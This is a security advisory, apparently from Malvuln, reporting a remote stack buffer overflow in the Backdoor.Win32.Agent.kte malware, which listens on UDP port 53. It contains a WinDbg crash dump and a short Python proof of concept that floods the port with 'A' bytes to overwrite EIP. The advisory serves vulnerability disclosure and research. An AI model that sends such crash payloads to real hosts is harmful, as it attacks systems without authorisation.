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## https://sploitus.com/exploit?id=PACKETSTORM:162398
Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/7c92e59e776355734781bbf05571d0f0.txt  
Contact: malvuln13@gmail.com  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Agent.kte  
Vulnerability: Remote Stack Buffer Overflow (UDP Datagram)  
Description: The malware drops an executable named "aspimgr.exe" under SysWOW64 dir, which listens on TCP port 80 and UDP port 53. Third-party attackers who can reach the server can send a specially crafted UDP packet to port 53, triggering a classic buffer overflow overwriting ECX and EIP registers.  
Type: PE32  
MD5: 7c92e59e776355734781bbf05571d0f0  
Vuln ID: MVID-2021-0195  
Dropped files: aspimgr.exe  
ASLR: False  
DEP: False  
Safe SEH: True  
Disclosure: 04/29/2021  
  
Memory Dump:  
(190c.19fc): Access violation - code c0000005 (first/second chance not available)  
eax=00000000 ebx=00000000 ecx=41414141 edx=77b09d70 esi=00000000 edi=00000000  
eip=41414141 esp=03131450 ebp=03131470 iopl=0 nv up ei pl zr na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246  
41414141 ?? ???  
  
0:006> !analyze -v  
*******************************************************************************  
* *  
* Exception Analysis *  
* *  
*******************************************************************************  
  
*** WARNING: Unable to verify checksum for aspimgr.exe  
*** ERROR: Module load completed but symbols could not be loaded for aspimgr.exe  
Failed calling InternetOpenUrl, GLE=12029  
  
FAULTING_IP:   
aspimgr+63f9  
004063f9 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]  
  
EXCEPTION_RECORD: 0322e124 -- (.exr 0x322e124)  
ExceptionAddress: 004063f9 (aspimgr+0x000063f9)  
ExceptionCode: c0000005 (Access violation)  
ExceptionFlags: 00000000  
NumberParameters: 2  
Parameter[0]: 00000000  
Parameter[1]: 03230000  
Attempt to read from address 03230000  
  
PROCESS_NAME: aspimgr.exe  
  
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_PARAMETER1: 00000008  
  
EXCEPTION_PARAMETER2: 41414141  
  
WRITE_ADDRESS: 41414141   
  
FOLLOWUP_IP:   
aspimgr+63f9  
004063f9 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]  
  
FAILED_INSTRUCTION_ADDRESS:   
+63f9  
41414141 ?? ???  
  
MOD_LIST: <ANALYSIS/>  
  
NTGLOBALFLAG: 0  
  
APPLICATION_VERIFIER_FLAGS: 0  
  
IP_ON_HEAP: 41414141  
The fault address in not in any loaded module, please check your build's rebase  
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may  
contain the address if it were loaded.  
  
IP_IN_FREE_BLOCK: 41414141  
  
CONTEXT: 0322e174 -- (.cxr 0x322e174)  
eax=0000018d ebx=00000041 ecx=00000001 edx=0000018c esi=0322fffd edi=0322e7a8  
eip=004063f9 esp=0322e5d4 ebp=0322ede4 iopl=0 nv up ei pl nz na po nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202  
aspimgr+0x63f9:  
004063f9 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]  
Resetting default scope  
  
FAULTING_THREAD: ffffffff  
  
BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141  
  
PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141  
  
DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141  
  
LAST_CONTROL_TRANSFER: from 0040665f to 004063f9  
  
STACK_TEXT:   
0322e5d4 004063f9 aspimgr+0x63f9  
0322edec 0040665f aspimgr+0x665f  
0322ff44 41414141 unknown!printable+0x0  
0322ff48 41414141 unknown!printable+0x0  
0322ff4c 41414141 unknown!printable+0x0  
0322ff50 41414141 unknown!printable+0x0  
0322ff54 41414141 unknown!printable+0x0  
0322ff58 41414141 unknown!printable+0x0  
0322ff5c 41414141 unknown!printable+0x0  
0322ff60 41414141 unknown!printable+0x0  
0322ff64 41414141 unknown!printable+0x0  
0322ff68 41414141 unknown!printable+0x0  
0322ff6c 41414141 unknown!printable+0x0  
0322ff70 41414141 unknown!printable+0x0  
0322ff74 41414141 unknown!printable+0x0  
0322ff78 41414141 unknown!printable+0x0  
0322ff7c 41414141 unknown!printable+0x0  
0322ff80 41414141 unknown!printable+0x0  
0322ff84 41414141 unknown!printable+0x0  
0322ff88 41414141 unknown!printable+0x0  
0322ff8c 41414141 unknown!printable+0x0  
0322ff90 41414141 unknown!printable+0x0  
0322ff94 41414141 unknown!printable+0x0  
0322ff98 41414141 unknown!printable+0x0  
0322ff9c 41414141 unknown!printable+0x0  
0322ffa0 41414141 unknown!printable+0x0  
0322ffa4 41414141 unknown!printable+0x0  
0322ffa8 41414141 unknown!printable+0x0  
0322ffac 41414141 unknown!printable+0x0  
0322ffb0 41414141 unknown!printable+0x0  
0322ffb4 41414141 unknown!printable+0x0  
0322ffb8 41414141 unknown!printable+0x0  
0322ffbc 41414141 unknown!printable+0x0  
0322ffc0 41414141 unknown!printable+0x0  
0322ffc4 41414141 unknown!printable+0x0  
0322ffc8 41414141 unknown!printable+0x0  
0322ffcc 41414141 unknown!printable+0x0  
0322ffd0 41414141 unknown!printable+0x0  
0322ffd4 41414141 unknown!printable+0x0  
0322ffd8 41414141 unknown!printable+0x0  
0322ffdc 41414141 unknown!printable+0x0  
0322ffe0 41414141 unknown!printable+0x0  
0322ffe4 41414141 unknown!printable+0x0  
0322ffe8 41414141 unknown!printable+0x0  
0322ffec 41414141 unknown!printable+0x0  
0322fff0 41414141 unknown!printable+0x0  
0322fff4 41414141 unknown!printable+0x0  
0322fff8 41414141 unknown!printable+0x0  
0322fffc 41414141 unknown!printable+0x0  
03230000 41414141 unknown!printable+0x0  
  
  
STACK_COMMAND: .cxr 000000000322E174 ; kb ; dds 322e5d4 ; kb  
  
SYMBOL_STACK_INDEX: 0  
  
SYMBOL_NAME: aspimgr+63f9  
  
FOLLOWUP_NAME: MachineOwner  
  
MODULE_NAME: aspimgr  
  
IMAGE_NAME: aspimgr.exe  
  
DEBUG_FLR_IMAGE_TIMESTAMP: 4827e4c0  
  
FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_aspimgr.exe!Unknown  
  
BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_aspimgr+63f9  
  
  
Exploit/PoC:  
from socket import *  
  
MALWARE_HOST="x.x.x.x"  
PORT=53  
  
def doit():  
  
s=socket(AF_INET, SOCK_DGRAM)   
s.connect((MALWARE_HOST, PORT))  
  
PBARBAR = "A"*6415   
  
s.send(PBARBAR)  
s.close()  
  
print("Backdoor.Win32.Agent.kte / Remote Stack Buffer Overflow (UDP)")  
print("MD5: 7c92e59e776355734781bbf05571d0f0")  
print("Malvuln")  
  
  
if __name__=="__main__":  
doit()  
  
  
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